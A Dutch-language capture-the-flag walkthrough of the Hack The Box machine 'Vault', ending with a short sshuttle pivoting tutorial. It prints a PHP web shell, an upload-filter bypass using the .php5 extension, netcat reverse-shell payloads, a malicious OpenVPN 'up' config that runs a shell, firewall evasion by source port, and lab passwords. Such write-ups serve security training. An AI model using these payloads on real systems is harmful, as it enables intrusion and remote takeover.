Recon
nmap
nmap
geeft alleen http (80) en ssh (22):
root@kali:~/htb/vault# nmap -sT -p- 10.10.10.109 Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-09 06:11 EST Nmap scan report for vault.htb (10.10.10.109) Host is up (0.067s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 17.50 seconds
Website – TCP 80
plaats
Gewoon wat tekst:
Diezelfde pagina wordt geladen als /index.php
.
gobuster
Aangezien ik de pagina zie als index.php
, zal ik zoeken naar php
bestanden, maar niets nieuws vinden:
root@kali# gobuster -u http://10.10.10.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50 -x php ===================================================== Gobuster v2.0.0 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.109/ [+] Threads : 100 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt [+] Status codes : 200,204,301,302,307,403 [+] Extensions : txt,html,php [+] Timeout : 10s ===================================================== 2018/11/04 05:24:14 Starting gobuster ===================================================== /index.php (Status: 200)
Ik merkte op de pagina dat het een klant noemt, sparklays. Ik heb geprobeerd /sparklays
, en het is 403 verboden. Ik zal Gobuster vanaf daar opnieuw uitvoeren:
root@kali# gobuster -u http://10.10.10.109/sparklays -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php ===================================================== Gobuster v2.0.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.109/sparklays/ [+] Threads : 100 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt [+] Status codes : 200,204,301,302,307,403 [+] Extensions : php [+] Timeout : 10s ===================================================== 2019/03/27 21:13:17 Starting gobuster ===================================================== /login.php (Status: 200) /admin.php (Status: 200) /design (Status: 301) ===================================================== 2018/11/06 09:28:34 Finished ===================================================== root@kali# gobuster -u http://10.10.10.109/sparklays/design -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html -t 20 ===================================================== Gobuster v2.0.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.109/sparklays/design/ [+] Threads : 20 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt [+] Status codes : 200,204,301,302,307,403 [+] Extensions : php,html [+] Timeout : 10s ===================================================== 2019/03/28 06:56:46 Starting gobuster ===================================================== /uploads (Status: 301) /design.html (Status: 200) ===================================================== 2018/11/06 09:31:34 Finished =====================================================
changelogo.php
Een bezoek aan http://10.10.10.109/sparklays/design/design.html
geeft me een andere link:
Naar aanleiding van http://10.10.10.109/sparklays/design/changelogo.php
retourneert een uploadformulier:
Ik kan een afbeelding uploaden en deze met dezelfde naam vinden in /sparklays/design/uploads/
. Als ik een php-bestand upload, krijg ik:
Er is duidelijk een uitbreiding van de witte / zwarte lijst op de server.
Shell op ubuntu als www-data
Toegestane extensies identificeren
Eerst moet ik voorbij de filters komen om te uploaden om mijn php-shell te krijgen. Als ik mijn php-shell test.png noem, wordt deze geüpload, maar worden er fouten gemaakt wanneer ik de pagina bezoek. Maar dat zegt me dat het filter op de bestandsnaam staat.
Aangezien ik geen pro-licentie heb, gebruik ik Burp Intruder zelden, maar voor een korte lijst van een complexe query kan dit een goed geval zijn. Ik maak een lijst met exts om te controleren:
root@kali# cat exts.txt png jpg gif txt php ph3 ph4 ph5 php3 php4 php5 png.php
Nu vind ik een van mijn uploads in burp, klik met de rechtermuisknop, “verzenden naar indringer”.
Eerst wis ik alle markeringen met de knop Wissen, dan vind ik de filename=test.png
, markeer de png en klik op “Markering toevoegen”. Nu heb ik dit:
Op het tabblad payloads selecteer ik “Simple list” en vervolgens “Load …” en geef het mijn exts.txt
Nu zal ik klikken op “Aanval starten”. Als ik de lijst eenmaal op lengte sorteer, is het me duidelijk dat de lengte van 717 is voor lading die is geüpload en 710 zijn lading die is geblokkeerd:
Ik kan elk resultaat selecteren en het onderstaande verzoek en antwoord bekijken om te controleren of dat klopt.
Upload Shell
Op basis van die resultaten wordt php5
geüpload en ik weet dat dit een geldige php-extensie is die waarschijnlijk wordt uitgevoerd. Ik bewaar een kopie van mijn eenvoudige php-webshell:
root@kali# cat cmd.php5 <?php system ( $_REQUEST [ 'cmd' ]); ?>
Ik zal het uploaden via de webpagina:
En het werkt:
root@kali# curl -s http://10.10.10.109/sparklays/design/uploads/cmd.php5?cmd=id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Interactieve Shell
Met de webshell op zijn plaats, kan ik een interactieve shell krijgen met behulp van shell.php5
<?php system ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.70 1337 >/tmp/f'); ?>
Na de shell te triggeren met
root@kali:~/htb/vault# curl http://vault.htb/sparklays/design/uploads/shell.php5
krijg ik een callback:
root@kali:~/htb/vault# rlwrap nc -lnvp 1337 listening on [any] 1337 ... connect to [10.10.16.70] from (UNKNOWN) [10.10.10.109] 41832 /bin/sh: 0: can't access tty; job control turned off $ python -c 'import pty; pty.spawn("/bin/bash")' www-data@ubuntu:/var/www/html/sparklays/design/uploads$
Shell op ubuntu als Dave
Opsomming
Door rond te kijken heb ik toegang tot de thuismap van Dave en er staan drie interessante bestanden op deze desktop.
www-data@ubuntu:/home/dave/Desktop$ ls -l
total 12
-rw-rw-r-- 1 alex alex 74 Jul 17 10:30 Servers
-rw-rw-r-- 1 alex alex 14 Jul 17 10:31 key
-rw-rw-r-- 1 alex alex 20 Jul 17 10:31 ssh
Servers
hebben een lijst met servers, en alleen op basis van de “x” en de hostnaam, denk ik dat ik naar kluis moet gaan:
www-data@ubuntu:/home/dave/Desktop$ cat Servers
DNS + Configurator - 192.168.122.4
Firewall - 192.168.122.5
The Vault - x
key
heeft een enkele string, die ik later zal noteren:
www-data@ubuntu:/home/dave/Desktop$ cat key itscominghome
ssh
heeft wat ik kan raden een gebruikersnaam en wachtwoord is:
www-data@ubuntu:/home/dave/Desktop$ cat ssh dave Dav3therav3123
su
Ik kan de credits testen met su
, en het werkt:
www-data@ubuntu:/home/dave/Desktop$
su dave
Password: Dav3therav3123
dave@ubuntu:~/Desktop$
ssh
Ik kan er nu in met ssh:
root@kali:~/htb/vault# ssh dave@10.10.10.109 dave@10.10.10.109's password: Dav3therav3123 Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-45-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 222 packages can be updated. 47 updates are security updates. Last login: Mon Dec 9 02:19:16 2019 from 10.10.16.70 dave@ubuntu:~$
extra hosts identificatie
Ik weet dat er hosts in het bereik 192.168.122.0/24 zijn. Ik zie dat mijn huidige host de .1 is:
dave@ubuntu:~/Desktop$ ifconfig virbr0 virbr0 Link encap:Ethernet HWaddr fe:54:00:17:ab:49 inet addr:192.168.122.1 Bcast:192.168.122.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:772 errors:0 dropped:0 overruns:0 frame:0 TX packets:981 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:88103 (88.1 KB) TX bytes:79958 (79.9 KB)
Ik begin een ping-sweep en vind meteen twee extra hosts:
dave@ubuntu:~/Desktop$ time for i in $(seq 1 254); do (ping -c 1 192.168.122.${i} | grep "bytes from" &); done 64 bytes from 192.168.122.1: icmp_seq=1 ttl=64 time=0.051 ms 64 bytes from 192.168.122.4: icmp_seq=1 ttl=64 time=0.205 ms 64 bytes from 192.168.122.5: icmp_seq=1 ttl=64 time=1.05 ms real 0m0.286s user 0m0.159s sys 0m0.075s
Uit bovenstaande opmerking weet ik dat .4 “DNS + Configurator” is en .5 de “Firewall” is.
Firewall
Ik start een poortscan op de .5-host met behulp van nc
. Het duurt iets langer om te voltooien en vindt niets.
dave@ubuntu:~$ time for i in $(seq 1 65535); do (nc -zvn 192.168.122.5 ${i} 2>&1 | grep -v "Connection refused" &); done real 20m4.802s user 2m49.629s sys 6m47.633s
Dit is niet verwonderlijk voor een firewall.
DNS + Configurator
Tegelijkertijd start ik in een andere SSH-sessie een poortscan op .4. De twee open poorten keren vrijwel onmiddellijk terug:
dave@ubuntu:~/Desktop$ time for i in $(seq 1 65535); do (nc -zvn 192.168.122.4 ${i} 2>&1 | grep -v "Connection refused" &); done Connection to 192.168.122.4 22 port [tcp/*] succeeded! Connection to 192.168.122.4 80 port [tcp/*] succeeded! real 20m37.665s user 3m9.019s sys 7m6.815s
Shell op DNS als root
Opsomming
Ik probeer mijn bestaande credits te ssh in DNS, maar ze falen.
Nu ga ik naar het web. Ik maak een port forward over ssh zodat ik de pagina via mijn browser kan openen.
root@kali:~/htb/vault# ssh -L 1234:192.168.122.4:80 dave@vault.htb dave@vault.htb's password: Dav3therav3123 Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-45-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 222 packages can be updated. 47 updates are security updates. Last login: Mon Dec 9 03:29:18 2019 from 10.10.16.70
nu, gaat elk verkeer via mijn SSH-tunnel proxy.
Nu kan ik http://192.168.122.4:1234/
bezoeken en krijg:
De eerste gedachte aan dns-config.php
is niet gevonden.
De tweede link naar vpnconfig.php
geeft een pagina weer:
Als ik op “Test VPN” klik, verwijst dit naar http://192.168.122.4/vpnconfig.php?function=testvpn
en wordt bovenaan “met succes uitgevoerd!” Afgedrukt (typefout met succes).
OpenVPN RCE
Er is een manier om RCE via een OpenVPN-configuratie te krijgen . De korte beschrijving is dat een config een up
entry kan bevatten, het commando dat moet worden uitgevoerd nadat de verbinding is gemaakt.
shell
Ik maak een schadelijk OpenVPN-configuratiebestand als volgt:
remote 192.168.122.1 ifconfig 10.200.0.2 10.200.0.1 dev tun script-security 2 up "/bin/bash -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.122.1 8181 >/tmp/f'" nobind
Nu zal ik een luisteraar starten in mijn SSH-sessie, de configuratie uploaden en op “Test” klikken:
dave@ubuntu:~$ nc -lnvp 8181 Listening on [0.0.0.0] (family 0, port 8181) Connection from [192.168.122.4] port 8181 [tcp/*] accepted (family 2, sport 53392) bash: cannot set terminal process group (1088): Inappropriate ioctl for device bash: no job control in this shell root@DNS:/var/www/html# id uid=0(root) gid=0(root) groups=0(root)
In de dave homedir vind ik user.txt
:
root@DNS:/home/dave# cat user.txt a4947faa...
ssh
Ik zal ook een ander ssh
bestand vinden, met nieuwe creds:
root@DNS:/home/dave# cat ssh dave dav3gerous567
Ik kan ssh in als Dave:
dave@ubuntu:~$ ssh dave@192.168.122.4 dave@192.168.122.4's password: Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 98 packages can be updated. 50 updates are security updates. Last login: Thu Mar 28 13:04:43 2019 from 192.168.122.1 dave@DNS:~$
Dave kan ook sudo
, dus ik kan teruggaan naar root als ik wil:
dave@DNS:~$ sudo -l [sudo] password for dave: Matching Defaults entries for dave on DNS: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User dave may run the following commands on DNS: (ALL : ALL) ALL dave@DNS:~$ sudo su [sudo] password for dave: root@DNS:/home/dave#
Shell kluis als Dave
Lokale telling
Ik heb de .bash_history
bestanden bekeken voor root, dave en alex. root en dave waren niet interessant, maar ik zag dit in alex’s:
ping 192.168.5.2
Dat is een nieuw adres dat ik nog niet heb gezien.
Ik wil controleren of dat IP-adres in een van de logboeken is weergegeven, dus ik zal een grep
. -r
doorzoekt alle bestanden in het gegeven pad (in dit geval /var/log
):
root@DNS:/# grep -r "192.168.5.2" /var/log Binary file /var/log/auth.log matches Binary file /var/log/btmp matches
Ik kan de vlag -a
op grep gebruiken om de overeenkomst in een binair bestand weer te geven en -H
om te zorgen dat de bestandsnamen worden afgedrukt:
root@DNS:/var/log# grep -rHa "192.168.5.2" /var/log /var/log/auth.log:Jul 17 16:49:01 DNS sshd[1912]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 17 16:49:02 DNS sshd[1943]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user /var/log/auth.log:Jul 17 16:49:02 DNS sshd[1943]: Disconnected from 192.168.5.2 port 4444 /var/log/auth.log:Jul 17 17:21:38 DNS sshd[1560]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 17 17:21:38 DNS sshd[1590]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user /var/log/auth.log:Jul 17 17:21:38 DNS sshd[1590]: Disconnected from 192.168.5.2 port 4444 /var/log/auth.log:Jul 17 21:58:26 DNS sshd[1171]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 17 21:58:29 DNS sshd[1249]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user /var/log/auth.log:Jul 17 21:58:29 DNS sshd[1249]: Disconnected from 192.168.5.2 port 4444 /var/log/auth.log:Jul 24 15:06:10 DNS sshd[1466]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 24 15:06:10 DNS sshd[1496]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user /var/log/auth.log:Jul 24 15:06:10 DNS sshd[1496]: Disconnected from 192.168.5.2 port 4444 /var/log/auth.log:Jul 24 15:06:26 DNS sshd[1500]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.5.2 user=dave /var/log/auth.log:Jul 24 15:06:28 DNS sshd[1500]: Failed password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 24 15:06:28 DNS sshd[1500]: Connection closed by 192.168.5.2 port 4444 [preauth] /var/log/auth.log:Jul 24 15:06:57 DNS sshd[1503]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 24 15:06:57 DNS sshd[1533]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user /var/log/auth.log:Jul 24 15:06:57 DNS sshd[1533]: Disconnected from 192.168.5.2 port 4444 /var/log/auth.log:Jul 24 15:07:21 DNS sshd[1536]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 /var/log/auth.log:Jul 24 15:07:21 DNS sshd[1566]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user /var/log/auth.log:Jul 24 15:07:21 DNS sshd[1566]: Disconnected from 192.168.5.2 port 4444 /var/log/auth.log:Sep 2 15:07:51 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f /var/log/auth.log:Sep 2 15:10:20 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53 /var/log/auth.log:Sep 2 15:10:34 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53 N[z<ssh:nottyalex192.168.122.1N[z<ssh:nottyalex192.168.122.1N[zssh:nottydave192.168.122.1N[zssh:nottydave192.168.5.2d2W[ssh:nottydave192.168.122.17W[zssh:nottydave192.168.122.18W[zssh:nottydave192.168.122.18W[zssh:nottydtty1tty1davem9[ܧ]ssh:nottydave192.168.122.1@[zcssh:nottydave192.168.122.1T[zP
Er is een heleboel activiteit op 17 en 24 juli die eruit ziet als SSH op poort 4444.
Er zijn meer interessante dingen op 2 september waarbij de volgende drie opdrachten worden uitgevoerd:
/usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f /usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53 /usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53
Vault-inventarisatie
Omdat nmap
op de host is geïnstalleerd, voer ik dezelfde opdracht uit om .2 te scannen zonder de bronpoort in te stellen en krijg ik alles terug gesloten:
root@DNS:/var/log# nmap 192.168.5.2 -Pn -f Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-28 14:05 GMT mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for Vault (192.168.5.2) Host is up (0.0042s latency). Not shown: 998 filtered ports PORT STATE SERVICE 53/tcp closed domain 4444/tcp closed krb524 Nmap done: 1 IP address (1 host up) scanned in 15.19 seconds
Ik kan echt laten zien waarom 53 en 4444 melden gesloten te zijn terwijl al het andere niet aan het einde van Beyond Root .
Wanneer ik de --source-port=4444
, krijg ik verschillende resultaten terug:
root@DNS:/var/log# nmap 192.168.5.2 -Pn -f --source-port=4444 Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-28 14:09 GMT mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for Vault (192.168.5.2) Host is up (0.0038s latency). Not shown: 999 closed ports PORT STATE SERVICE 987/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 26.84 seconds
Op basis van de andere twee interessante opdrachten, zal ik zien dat het instellen van de bron op poort 53 dezelfde resultaten geeft:
root@DNS:/var/log# nmap 192.168.5.2 -Pn -f --source-port=53 Starting Nmap 7.01 ( https://nmap.org ) at 2019-03-28 14:10 GMT mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers Nmap scan report for Vault (192.168.5.2) Host is up (0.0032s latency). Not shown: 999 closed ports PORT STATE SERVICE 987/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 25.04 seconds
Ik kan zien wat er op 987 wordt geluisterd met nc
:
root@DNS:/var/log# nc 192.168.5.2 987 -p 53 SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
ssh
ssh
heeft geen optie om een bronpoort in te stellen. Dat brengt me echter bij de volgende twee interessante opdrachten van auth.log
:
/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53 /usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53
Ik zal naar het eerste commando kijken. Het voert ncat listening uit op poort 1234. --sh-exec
staat ncat
toe het volgende commando uit te voeren met /bin/sh
en zijn stdin te verbinden met stdout van de originele luisteraar. Dus in dit geval sluit ik ons af met een luisteraar op 1234, en wordt de invoer doorgegeven aan een andere ncat
die is aangesloten op 192.168.5.2:987 met behulp van ncat
53. Dat betekent dat ik, zodra ik dit heb ingesteld, vervolgens naar lokale ncat
1234, en het zal me doorverbinden met kluis.
Start de tunnel op de achtergrond:
root@DNS:/var/log# /usr/bin/ncat -l 1234 --sh-exec "ncat 192.168.5.2 987 -p 53" & [1] 1449
Maak nu verbinding met ssh en gebruik het dns-wachtwoord van dave:
root@DNS:/var/log# ssh dave@localhost -p 1234 The authenticity of host '[localhost]:1234 ([::1]:1234)' can't be established. ECDSA key fingerprint is SHA256:Wo70Zou+Hq5m/+G2vuKwUnJQ4Rwbzlqhq2e1JBdjEsg. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '[localhost]:1234' (ECDSA) to the list of known hosts. dave@localhost's password: Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 96 packages can be updated. 49 updates are security updates. Last login: Mon Sep 3 16:48:00 2018 dave@vault:~$
rbash
Ik bevind me in een beperkte rbash
shell:
dave@vault:~$ cd / -rbash: cd: restricted
Maar dat is gemakkelijk te ontsnappen door sshing in met -t bash
:
root@DNS:/var/log# /usr/bin/ncat -l 1234 --sh-exec "ncat 192.168.5.2 987 -p 53" & [1] 1453 root@DNS:/var/log# ssh dave@localhost -p 1234 -t bash dave@localhost's password: dave@vault:~$ cd / dave@vault:/$
root.txt.gpg
In het huis van Dave in kluis is er een bestand:
dave@vault:~$ ls root.txt.gpg
gpg vertrouwt op de sleutel die is opgeslagen in de lokale sleutelhanger. Ik zal proberen het te ontsleutelen in een kluis, wetende dat dat te gemakkelijk is om te slagen:
dave@vault:~$ gpg -d root.txt.gpg gpg: encrypted with RSA key, ID D1EB1F03 gpg: decryption failed: secret key not available
Ik zal proberen het bestand naar andere machines te verplaatsen. base64
lijkt niet in de kluis te zijn, maar base32
is:
dave@vault:~$ base32 -w0 root.txt.gpg =
Ik ga terug naar dns en maak het bestand:
root@DNS:/dev/shm# echo = | base32 -d > a.gpg root@DNS:/dev/shm# file a.gpg a.gpg: PGP RSA encrypted session key - keyid: 10C678C7 31FEBD1 RSA (Encrypt or Sign) 4096b .
Probeerde te decoderen als root en dave:
dave@DNS:~$ gpg -d /dev/shm/a.gpg gpg: encrypted with RSA key, ID D1EB1F03 gpg: decryption failed: secret key not available
root@DNS:~# file /dev/shm/a.gpg a.gpg: PGP RSA encrypted session key - keyid: 10C678C7 31FEBD1 RSA (Encrypt or Sign) 4096b . root@DNS:/dev/shm# gpg -d a.gpg gpg: directory `/root/.gnupg' created gpg: new configuration file `/root/.gnupg/gpg.conf' created gpg: WARNING: options in `/root/.gnupg/gpg.conf' are not yet active during this run gpg: keyring `/root/.gnupg/secring.gpg' created gpg: keyring `/root/.gnupg/pubring.gpg' created gpg: encrypted with RSA key, ID D1EB1F03 gpg: decryption failed: secret key not available
Nu ga ik terug naar de oorspronkelijke host.
dave@ubuntu:~$ echo = | base32 -d > /dev/shm/a.gpg dave@ubuntu:~$ file /dev/shm/a.gpg /dev/shm/a.gpg: PGP RSA encrypted session key - keyid: 10C678C7 31FEBD1 RSA (Encrypt or Sign) 4096b . dave@ubuntu:~$ gpg -d /dev/shm/a.gpg You need a passphrase to unlock the secret key for user: "david <dave@david.com>" 4096-bit RSA key, ID D1EB1F03, created 2018-07-24 (main key ID 0FDFBFE4) Enter passphrase:
Dit is veelbelovend! Ik zal het bestand in het bureaublad van Dave onthouden, key
:
dave@ubuntu:~/Desktop$ cat key itscominghome
Binnenkomen dat werkt en de rootvlag uitspuwt:
gpg: encrypted with 4096-bit RSA key, ID D1EB1F03, created 2018-07-24 "david <dave@david.com>" ca468370...
gebruikte referenties : https://0xdf.gitlab.io/2019/04/06/htb-vault.html
SSHUTTLE
Dit artikel bevat de handmatige manier om tunnels in te stellen en verkeer te krijgen waar het heen moet. Het is ongelooflijk nuttig om te begrijpen hoe je dat kunt doen zonder gespecialiseerde tools. Het is echter ook leuk om te zien hoe gemakkelijk een taak kan zijn met een goed hulpmiddel.. sshuttle wordt door de maker beschreven als een ‘transparante proxyserver die werkt als een VPN voor een arme man. Vooruit over ssh. Vereist geen admin. Werkt met Linux en MacOS. Ondersteunt DNS-tunneling. ”Laten we sshuttle in actie zien!
Voor we starten mogen we shuttle eerst installeren.
apt-get install sshuttle
Laten we met dat compleet het equivalent van onze SOCKS-proxy en voorwaartse tunnel instellen. Het onderstaande commando blokkeert, wat betekent dat we volgende commando’s moeten uitvoeren in afzonderlijke terminals.
sshuttle -r dave@10.10.10.109 192.168.122.0/24
══════════════════════════════════════════════
dave@10.10.10.109's password: Dav3therav3123
client: Connected.
sshuttle options used:
-r
The remote hostname and optional username and ssh port number to use for connecting to the remote server.
SUBNET
A list of subnets to route over the VPN, in the form a.b.c.d[/width][port[-port]].
Dat is het! Na het uitvoeren van de bovenstaande opdracht kunnen we rechtstreeks naar de website op 192.168.122.4 bladeren (zonder het gebruik van burp of foxyproxy). We kunnen ook rechtstreeks contact opnemen met en ssh naar 192.168.122.4.
Vervolgens kunnen we sshuttle instellen om naar het netwerk van Vault te routeren.
sshuttle -r dave@192.168.122.4 192.168.5.0/24
═════════════════════════════════════════════
dave@192.168.122.4's password: dav3gerous567
client: Connected.
Nu kunnen we contact opnemen met Vault’s ssh-server rechtstreeks vanuit Kali
Auteur: Jacco Straathof